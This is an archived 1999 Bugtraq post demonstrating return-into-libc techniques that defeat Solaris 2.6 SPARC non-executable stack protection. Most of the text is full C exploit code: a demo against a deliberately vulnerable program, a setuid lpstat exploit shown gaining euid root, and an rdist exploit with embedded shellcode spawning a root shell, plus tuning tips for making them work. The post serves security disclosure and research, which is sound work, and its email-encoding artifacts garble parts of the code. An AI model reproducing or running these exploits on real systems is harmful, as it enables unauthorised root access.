[9809] in bugtraq
Defeating Solaris/SPARC Non-Executable Stack Protection
daemon@ATHENA.MIT.EDU (John McDonald)
Wed Mar 3 11:14:14 1999
Date: Wed, 3 Mar 1999 00:55:35 -0500
Reply-To: John McDonald <jmcdonal@UNF.EDU>
From: John McDonald <jmcdonal@UNF.EDU>
To: BUGTRAQ@NETSPACE.ORG
Hi,
I've recently been playing around with bypassing the non-executable sta=
ck
protection that Solaris 2.6 provides. I'm referring to the mechanism th=
at you
control with the noexec_user_stack option in /etc/system. I've found it=
's
quite possible to bypass this protection, using methods described previ=
ously
on this list. Specifically, I have had success in adapting the return i=
nto
libc methods introduced by Solar Designer and Nergal to Solaris/SPARC.
I've included some sample code in this email, including an exploit for =
rdist,
and an exploit for lpstat. These exploits should work on machines with =
the
stack protection enabled, though they may require some groundwork befor=
e being
used. Neither of these programs exploit a new bug, so the appropriate f=
ixes
for these holes should work fine.
First of all, I'd like to thank stranJer, Solar Designer, duke and the
various inhabitants of #!adm for reviewing this for me and providing a =
lot
of valuable input.
Ok.. it's important to have a general understanding of how the stack is
layed out under SPARC/Solaris. There are several good references on the=
net
for this information, so I will try to keep this brief..
The stack frame looks roughly like this (to the best of my knowledge):
Stack inside the body of a function (after save)
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Higher addresses
----------------
%fp+92->any incoming args beyond 6 (possible)
%fp+68->room for us to store copies of the incoming arguments
%fp+64->pointer to where we can place our return value if necessary
%fp+32->saved %i0-%i7
%fp---->saved %l0-%l7
%fp---->(previous top of stack)
*space for automatic variables*
possible room for temporaries and padding for 8 byte alignment
%sp+92->possible room for outgoing parameters past 6
%sp+68->room for next function to store our outgoing arguments (6 words=
)
%sp+64->pointer to room for the return value of the next function
%sp+32->saved %o0-%o7 / room for next non-leaf function to save %i0-%i7
%sp---->room for next non-leaf function to save %l0-%l7
%sp---->(top of stack)
---------------
Lower addresses
So, from the top of the stack, looking up, we have room for the next fu=
nction
to save our %l and %i registers. A copy of the arguments given to us by=
the
previous function (the %o0-o7 registers) are saved at %sp + 0x10. None =
of the
resources I've seen on the web document this, but inspection in gdb sho=
ws that
this is the case.
Next, there is a one word pointer to memory where a function we call ca=
n place
it's return value. Typically, we can expect the return value to be in %=
o0, but
it is possible for a function to return something that can't fit in a r=
egister
(such as a structure). In this case, we place the address of the memory=
where
we want the return value to be placed into this location before calling=
the
function. The return value is placed in that memory, and the address of=
that
memory is also returned in %o0.
Next, we have 6 words reserved for the next function to be able to stor=
e the
arguments we pass to it through the registers. Some of the sites on the=
web
indicate that this is necessary in case the called function needs to be=
able
to take the address of one of it's incoming parameters (you can't take =
the
address of a register).
Next on the stack, there is temporary storage and padding for alignment=
. The
stack pointer has to be aligned on an 8 byte boundary. Our automatic va=
riables
are saved on the stack next. From within this function, we can address =
the
automatic variables relative to %fp (%fp - something).
If we perform an overflow of an automatic variable, we are going to ove=
rwrite
the saved %i and %l values of the function that called the function wit=
h
the automatic variable. When the function with the automatic variable r=
eturns,
it will return into the caller, because it has the return address store=
d in
it's %i7 register. Then, the restore instruction will move the contents=
of the
%i registers into the %o registers. Our bogus values for %l and %i will=
then
be read from the stack into the registers. On the next return from a fu=
nction,
the program will return into the address we put at %i7's place on the s=
tack
frame. This explains why you need two returns to perform a classic buff=
er
overflow.
Moving on.. In this email, I'm presenting three different variations on=
the
return into libc method. The first one I demonstrate with a 'fake' bug.=
This
is our vulnerable program:
---hole.c---
int jim(char *str)
{
char buf[256];
strcpy(buf,str);
}
int main(int argc, char **argv)
{
jim(argv[1]);
}
------------
hole.c is an extremely simple program with an obvious stack buffer over=
flow.
If we wrote a typical program to exploit this, it would follow this flo=
w:
1. The program would proceed to the strcpy..
2. The strcpy will overwrite the saved %i and %l registers in main's st=
ack
frame.
3. The jim function will do a restore, and increment the CWP. This will=
result
in our overflowed values being put into the %i and %l registers. It =
will
'ret' into main.
4. The main function will then do a ret/restore. The ret instruction wi=
ll read
our provided %i7, and transfer the flow of control to it. The CWP wi=
ll again
be incremented, And our bogus %i registers will become the %o regist=
ers.
A typical exploit would return into shellcode on the stack at this poin=
t,
which would do it's thing with basically no regard for what is in the
registers. However, with the stack protections in place, this behavior =
will
cause the processor to fault upon attempting to execute code on a page =
where
it is not permitted.
To get around this, we wish to have our program return into a libc call=
. For
this exploit, I've chosen system(). system() is easy because it only ta=
kes one
argument. When we enter the code for system(), we expect it's arguments=
to be
in %o0-%o7. Then, the system function will do the save instruction, and=
move
the arguments into the %i0-%i7 registers. Getting our arguments into sy=
stem()
in the %o0-%o7 registers is somewhat easy to accomplish. Remember that =
the
first ret/restore will pull our values off of the stack into the %l and=
%i
registers. Thus, we can put any values we want into these registers whe=
n we
overflow the stack based variable. The second ret/restore will move wha=
ts in
the %i0-%i7 registers into the %o0-%o7 registers, and jump to what we h=
ad in
the %i7 register. So, we can put the address of system() in our saved %=
i7, and
the program's execution will resume there. So, when the program enters
system(), the first instruction it will execute is a 'save'. This will =
move
the values in %o0-%o7 back into %i0-%i7. Let's look at the exploit:
---exhole.c---
/*
example return into libc exploit for fake vulnerability in './hole'
by horizon <jmcdonal@unf.edu>
to compile:
gcc exhole.c -o exhole -lc -ldl
*/
#include <stdio.h>
#include <dlfcn.h>
#include <signal.h>
#include <setjmp.h>
int step;
jmp_buf env;
void fault()
{
if (step<0)
longjmp(env,1);
else
{
printf("Couldn't find /bin/sh at a good place in libc.\n");
exit(1);
}
}
int main(int argc, char **argv)
{
void *handle;
long systemaddr;
long shell;
char examp[512];
char *args[3];
char *envs[1];
long *lp;
if (!(handle=3Ddlopen(NULL,RTLD_LAZY)))
{
fprintf(stderr,"Can't dlopen myself.\n");
exit(1);
}
if ((systemaddr=3D(long)dlsym(handle,"system"))=3D=3DNULL)
{
fprintf(stderr,"Can't find system().\n");
exit(1);
}
systemaddr-=3D8;
if (!(systemaddr & 0xff) || !(systemaddr * 0xff00) ||
!(systemaddr & 0xff0000) || !(systemaddr & 0xff000000))
{
fprintf(stderr,"the address of system() contains a '0'. sorry.\n"=
);
exit(1);
}
printf("System found at %lx\n",systemaddr);
/* let's search for /bin/sh in libc - from SD's original linux explo=
its */
if (setjmp(env))
step=3D1;
else
step=3D-1;
shell=3Dsystemaddr;
signal(SIGSEGV,fault);
do
while (memcmp((void *)shell, "/bin/sh", 8)) shell+=3Dstep;
while (!(shell & 0xff) || !(shell & 0xff00) || !(shell & 0xff0000)
|| !(shell & 0xff000000));
printf("/bin/sh found at %lx\n",shell);
/* our buffer */
memset(examp,'A',256);
lp=3D(long *)&(examp[256]);
/* junk */
*lp++=3D0xdeadbe01;
*lp++=3D0xdeadbe02;
*lp++=3D0xdeadbe03;
*lp++=3D0xdeadbe04;
/* the saved %l registers */
*lp++=3D0xdeadbe10;
*lp++=3D0xdeadbe11;
*lp++=3D0xdeadbe12;
*lp++=3D0xdeadbe13;
*lp++=3D0xdeadbe14;
*lp++=3D0xdeadbe15;
*lp++=3D0xdeadbe16;
*lp++=3D0xdeadbe17;
/* the saved %i registers */
*lp++=3Dshell;
*lp++=3D0xdeadbe11;
*lp++=3D0xdeadbe12;
*lp++=3D0xdeadbe13;
*lp++=3D0xdeadbe14;
*lp++=3D0xdeadbe15;
*lp++=3D0xeffffbc8;
/* the address of system ( -8 )*/
*lp++=3Dsystemaddr;
*lp++=3D0x0;
args[0]=3D"hole";
args[1]=3Dexamp;
args[2]=3DNULL;
envs[0]=3DNULL;
execve("./hole",args,envs);
}
--------------
As you can see, the layout of the stack past the buffer has been mapped=
. This
is easy to do using marker values and gdb. The first thing this exploit=
does
is find the address of system() in libc. It does this using the dlopen(=
) and
dlsym() functions. If the exploit is linked exactly the same as the tar=
get
executable, then we will be able to predict where libc will be mapped i=
n the
target. The exploit then finds a copy of the string '/bin/sh' in libc. =
It does
this by searching through the memory around system(). This is almost th=
e exact
same code presented in Solar Designer's original return-into-libc explo=
it.
In this exploit, %i0 is set to the address of the string '/bin/sh' in l=
ibc.
%i6 (the frame pointer) is set to 0xeffffbc8. This is just a place in t=
he stack
that system() can use as it's stack. system() will look into the regist=
ers
for it's arguments, so we don't really care what is on the stack, as lo=
ng as
system() can safely write to it. %i7 (our return address) is set to the
address we found for system(). Note that this is actually the address w=
e wish
to go to minus 8, because the ret instruction will add 8 to the saved %=
fp.
(in order to skip the call instruction and it's delay slot).
So, does it work?
bash-2.02$ gcc exhole.c -o exhole -lc -ldl
bash-2.02$ ./exhole
System found at ef768a84
/bin/sh found at ef790378
$
yup. :>
As you might expect, things don't go quite so smoothly when we attempt =
this
technique in a live exploit. I have chosen lpstat as my next target.
The first problem you will run into is that the program will modify the=
%i
registers after the first return. This happened in both the lpstat and =
rdist
exploits. This problem requires us to extend our technique to be more
powerful.
What I do in the lpstat exploit is create a fake stack frame in the env=
space.
Then, I put it's address in our saved %fp. Then, instead of returning i=
nto the
system() function, I return into system()+4, bypassing the save instruc=
tion.
So, what does all this do? Well, our values get loaded into the %l0-l7 =
and
%i0-%i7 registers after the first ret/restore. The next ret/restore mov=
es
our values into %o0-%o7, and jumps to our saved %i7. This *also* loads =
in the
%i0-%i7 and %l0-%l7 registers from the stack. So, when we specify a sav=
ed %fp,
and we hit the second restore, the processor assumes our %fp was it's o=
ld %sp,
and loads the %l and %i registers from the stack frame at %fp. This mea=
ns
that we can specify what we want the %l and %i registers to contain upo=
n
entering wherever it is that we return into.
We skip the 'save' instruction, because that would move the %o0-%o7 bac=
k to the
%i0-%i7 registers, and overwrite our malicious values.
Having solved that, we stumble onto our second problem: the system() fu=
nction
uses /bin/sh -c to execute it's argument. Under Solaris, /bin/sh will d=
rop it's
privileges if it is run with a non-zero ruid, and an euid of zero.
The obvious solution to this is to try to do a setuid(0) before we run =
system.
So, we need to find a way to chain functions together.. i.e. to return =
into
one function, and have it return into another. It is important to note =
that
there are two kinds of functions: leaf and non-leaf functions. The leaf
functions do not use any stack space to do their work, and do not call =
any
other functions. Thus, they don't need to use the 'save' instruction to=
set up
a stack frame. They operate using the registers in %o0-%o7 as their arg=
uments.
When a leaf function is done, it returns by jumping to the address it h=
as in
%o7. The non-leaf functions are ones that require a stack frame, and th=
ey use
the 'save', 'ret', and 'restore' instructions.
We can chain non-leaf functions together by making a fake stack frame f=
or
every function that we need to return into, and placing the address of =
the
next function into the %i7 position on the fake stack frame. This works
because we skip the save instruction, which allows us to keep feeding i=
n
fake stack frame information, and specfying the %i and %l registers for=
each
function we enter.
However, there is a limitation of our return into libc method: We can't
return into a leaf function, unless it is the last function we return i=
nto.
A leaf function does not do a save or restore, it simply assumes it's
arguments are in the %o0-%o7 registers. It returns by doing a retl, whi=
ch
jumps to %o7. The problem is that if we return into a leaf function, th=
e
address of that leaf function will be in %o7. Thus, when the leaf funct=
ion
tries to return, it will jump back to itself, causing an infinite loop.=
We
can't get a leaf function to return into another function because it do=
esn't
use the ret/restore sequence to return. Thus, even though we can contro=
l what
values are in the %i and %l registers, the leaf function will not use t=
hese
values for arguments or the return address.
So, for a solution here, we simply return into execl(). This takes very=
similar
arguments to system, except that we need to have a NULL argument to ter=
minate
the list of arguments. This is easy to do since we are passing in our f=
ake
stack frame through the env space.
Here is the lpstat exploit:
---lpstatex.c---
/*
lpstat exploit for Solaris 2.6 - horizon - <jmcdonal@unf.edu>
This demonstrates the return into libc technique for bypassing stack
execution protection. This requires some preliminary knowledge for u=
se.
to compile:
gcc lpstatex.c -o lpstatex -lprint -lc -lnsl -lsocket -ldl -lxfn -lm=
p -lC
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>
#define BUF_LENGTH 1024
int main(int argc, char *argv[])
{
char buf[BUF_LENGTH * 2];
char teststring[BUF_LENGTH * 2];
char *env[10];
char fakeframe[512];
char padding[64];
char platform[256];
void *handle;
long execl_addr;
u_char *char_p;
u_long *long_p;
int i;
int pad=3D31;
if (argc=3D=3D2) pad+=3Datoi(argv[1]);
if (!(handle=3Ddlopen(NULL,RTLD_LAZY)))
{
fprintf(stderr,"Can't dlopen myself.\n");
exit(1);
}
if ((execl_addr=3D(long)dlsym(handle,"execl"))=3D=3DNULL)
{
fprintf(stderr,"Can't find execl().\n");
exit(1);
}
execl_addr-=3D4;
if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
!(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
{
fprintf(stderr,"the address of execl() contains a '0'. sorry.\n")=
;
exit(1);
}
printf("found execl() at %lx\n",execl_addr);
char_p=3Dbuf;
memset(char_p,'A',BUF_LENGTH);
long_p=3D(unsigned long *) (char_p+1024);
*long_p++=3D0xdeadbeef;
/* Here is the saved %i0-%i7 */
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xeffffb68; // our fake stack frame
*long_p++=3Dexecl_addr; // we return into execl() in libc
*long_p++=3D0;
/* now we set up our fake stack frame in env */
long_p=3D(long *)fakeframe;
*long_p++=3D0xdeadbeef; // we don't care about locals
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xefffffac; // points to our string to exec
*long_p++=3D0xefffffac; // argv[1] is a copy of argv[0]
*long_p++=3D0x0; // NULL for execl();
*long_p++=3D0xefffffcc;
*long_p++=3D0xeffffd18;
*long_p++=3D0xeffffd18;
*long_p++=3D0xeffffd18; // this just has to be somewhere it can work=
with
*long_p++=3D0x11111111; // doesn't matter b/c we exec
*long_p++=3D0x0;
/* This gives us some padding to play with */
memset(teststring,'A',BUF_LENGTH);
teststring[BUF_LENGTH]=3D0;
sysinfo(SI_PLATFORM,platform,256);
pad+=3D20-strlen(platform);
for (i=3D0;i<pad;padding[i++]=3D'C')
padding[i]=3D0;
env[0]=3D"";
env[1]=3D(fakeframe);
env[2]=3D&(fakeframe[40]);
env[3]=3D&(fakeframe[40]);
env[4]=3D&(fakeframe[40]);
env[5]=3D&(fakeframe[44]);
env[6]=3Dteststring;
env[7]=3D"A=3D/bin/id";
env[8]=3Dpadding;
env[9]=3DNULL;
execle("/usr/bin/lpstat","lpstat","-c",buf,(char *)0,env);
perror("execle failed");
}
----------------
Looking at this exploit, you can see how we build a fake stack frame in=
env,
and have the program we are exploiting read it in. We return into execl=
(),
just past the 'save', and it uses the arguments we provide in %i0-%i7. =
Also,
note that we pass in the command we want to run through the environment=
, as
opposed to searching for it in libc.
Here's what it looks like:
bash-2.02$ gcc lpstatex.c -o lpstatex -lprint -lc -lnsl -lsocket -ldl -=
lxfn -lmp -lC
bash-2.02$ ./lpstatex
found execl() at ef6e93a4
UX:lpstat: ERROR: Class
...
(lpstat spews for a while)
...
=A4" does not exist.
TO FIX: Use the "lpstat -c all" command to list
all known classes.
uid=3D120(jmcdonal) gid=3D15(develop) euid=3D0(root)
bash-2.02$
In the exploit, we ran /bin/id, which you see here. If you are so incli=
ned, you
can easily change it to run something like /tmp/aa, which will give you=
the
appropriate permissions and exec a shell.
So, this works pretty well. However, we still have a big problem with o=
ur
technique: it is impossible to return into a leaf function before retur=
ning
into any other function. This unfortunately means we cant return into s=
etuid()
or seteuid() to restore our privileges before exec'ing something. There=
are a
few options in overcoming this problem, but I have choosen a fairly sim=
ple
one...
We will return into a strcpy, which will copy our shellcode from the en=
v space,
into somewhere where it is safe to run it. We will then have that strcp=
y
return into our shellcode. This exploit is very similar to the previous=
one,
with the exception that we are doing a second return.
Here is the exploit:
---rdistex.c---
/*
rdist exploit for Solaris 2.6 - horizon - <jmcdonal@unf.edu>
This demonstrates the return into libc technique for bypassing stack
execution protection. This requires some preliminary knowledge for u=
se.
to compile:
gcc rdistex.c -o rdistex -lsocket -lnsl -lc -ldl -lmp
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>
u_char sparc_shellcode[] =3D
"\xAA\xAA\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08\xAA";
#define BUF_LENGTH 1024
int main(int argc, char *argv[])
{
char buf[BUF_LENGTH * 2];
char tempbuf[BUF_LENGTH * 2];
char teststring[BUF_LENGTH * 2];
char padding[128];
char *env[10];
char fakeframe[512];
char platform[256];
void *handle;
long strcpy_addr;
long dest_addr;
u_char *char_p;
u_long *long_p;
int i;
int pad=3D25;
if (argc=3D=3D2) pad+=3Datoi(argv[1]);
char_p=3Dbuf;
if (!(handle=3Ddlopen(NULL,RTLD_LAZY)))
{
fprintf(stderr,"Can't dlopen myself.\n");
exit(1);
}
if ((strcpy_addr=3D(long)dlsym(handle,"strcpy"))=3D=3DNULL)
{
fprintf(stderr,"Can't find strcpy().\n");
exit(1);
}
strcpy_addr-=3D4;
if (!(strcpy_addr & 0xff) || !(strcpy_addr * 0xff00) ||
!(strcpy_addr & 0xff0000) || !(strcpy_addr & 0xff000000))
{
fprintf(stderr,"the address of strcpy() contains a '0'. sorry.\n"=
);
exit(1);
}
printf("found strcpy() at %lx\n",strcpy_addr);
if ((dest_addr=3D(long)dlsym(handle,"accept"))=3D=3DNULL)
{
fprintf(stderr,"Can't find accept().\n");
exit(1);
}
dest_addr=3Ddest_addr & 0xffff0000;
dest_addr+=3D0x1800c;
if (!(dest_addr & 0xff) || !(dest_addr & 0xff00) ||
!(dest_addr & 0xff0000) || !(dest_addr & 0xff000000))
{
fprintf(stderr,"the destination address contains a '0'. sorry.\n"=
);
exit(1);
}
printf("found shellcode destination at %lx\n",dest_addr);
/* hi sygma! */
memset(char_p,'A',BUF_LENGTH);
long_p=3D(unsigned long *) (char_p+1024);
/* We don't care about the %l registers */
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
/* Here is the saved %i0-%i7 */
*long_p++=3D0xdeadbeef;
*long_p++=3D0xefffd378; // safe value for dereferencing
*long_p++=3D0xefffd378; // safe value for dereferencing
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xeffffb78; // This is where our fake frame lives
*long_p++=3Dstrcpy_addr; // We return into strcpy
*long_p++=3D0;
long_p=3D(long *)fakeframe;
*long_p++=3D0xAAAAAAAA; // garbage
*long_p++=3D0xdeadbeef; // %l0
*long_p++=3D0xdeadbeef; // %l1
*long_p++=3D0xdeadbeaf; // %l2
*long_p++=3D0xdeadbeef; // %l3
*long_p++=3D0xdeadbeaf; // %l4
*long_p++=3D0xdeadbeef; // %l5
*long_p++=3D0xdeadbeaf; // %l6
*long_p++=3D0xdeadbeef; // %l7
*long_p++=3Ddest_addr; // %i0 - our destination (i just picked somew=
here)
*long_p++=3D0xeffffb18; // %i1 - our source
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xdeadbeef;
*long_p++=3D0xeffffd18; // %fp - just has to be somewhere strcpy can=
use
*long_p++=3Ddest_addr-8; // %i7 - return into our shellcode
*long_p++=3D0;
sprintf(tempbuf,"blh=3D%s",buf);
/* This gives us some padding to play with */
memset(teststring,'B',BUF_LENGTH);
teststring[BUF_LENGTH]=3D0;
sysinfo(SI_PLATFORM,platform,256);
pad+=3D21-strlen(platform);
for (i=3D0;i<pad;padding[i++]=3D'A')
padding[i]=3D0;
env[0]=3Dsparc_shellcode;
env[1]=3D&(fakeframe[2]);
env[2]=3Dteststring;
env[3]=3Dpadding;
env[4]=3DNULL;
execle("/usr/bin/rdist","rdist","-d",tempbuf,"-c","/tmp/","${blh}",
(char *)0,env);
perror("execl failed");
}
---------------
This technique seems to work well:
bash-2.02$ gcc rdistex.c -o rdistex -lsocket -lnsl -lc -ldl -lmp
bash-2.02$ ./rdistex
found strcpy() at ef62427c
found shellcode destination at ef7a800c
rdist: line 1: Pathname too long
...
rdist: line 1: Pathname too long
#
These exploits require a high degree of precision. I've tried to take o=
ut most
of the guesswork, but there are two things that might cause the exploit=
s to
fail. The lpstat and rdist exploits expect certain things to be in the
environment at exact locations. We use the execle function, specifying =
the
entire environment, so you wouldn't think this would be a problem. Howe=
ver,
Solaris 2.6 puts two things at the very top of the environment space:
the name of the program that is being run, and the platform of the mach=
ine.
I have attempted to take this into account in the two exploits, but hav=
e only
been able to test on two different platforms. Thus, you might need to a=
djust
the 'pad' variable if the exploits do not seem to be working. You can a=
djust
this value via the command line. It's probably best to try increments o=
f 4.
Also, there is a bit of a guess in the rdist exploit as to where to pla=
ce the
shellcode in libc. The exploit gets the address of a symbol in libsocke=
t, then
bitwise ands it with 0xffff0000 and then adds 0x1800c. The point of thi=
s is
to guess at where the section for libsocket's data will be mapped. If t=
his is
a problem, then you can use /usr/proc/bin/pmap along with gdb to figure=
out a
good address to store the shellcode in.
Hopefully, these exploits demonstrate that it is important to make sure=
that
programs that run at an elevated privilege are free of buffer overflow =
bugs.
The stack protection will certainly help protect you from the majority =
of
intruders, but moderately competent intruders will probably be able to =
bypass
it.
I believe that these techniques could be adopted for use in a remote ex=
ploit.
Assuming we go with the strcpy technique, the attacker would need to do
several things. First of all, the attacker would need to put the fake s=
tack
frame somewhere in the buffer that was overflowed. Then the attacker wo=
uld
have to make educated guesses at a few things. These would be: the loca=
tion
that strcpy() is mapped at, a safe location to store the shellcode, and=
the
location of the fake stack frame. You could make pretty educated guesse=
s at all
of these, so it might only require a small number of tries. Of course, =
the
added time and interaction that this would involve certainly makes the =
stack
protection useful.
I welcome any comments or criticisms about this post.
Thanks,
horizon <jmcdonal@unf.edu>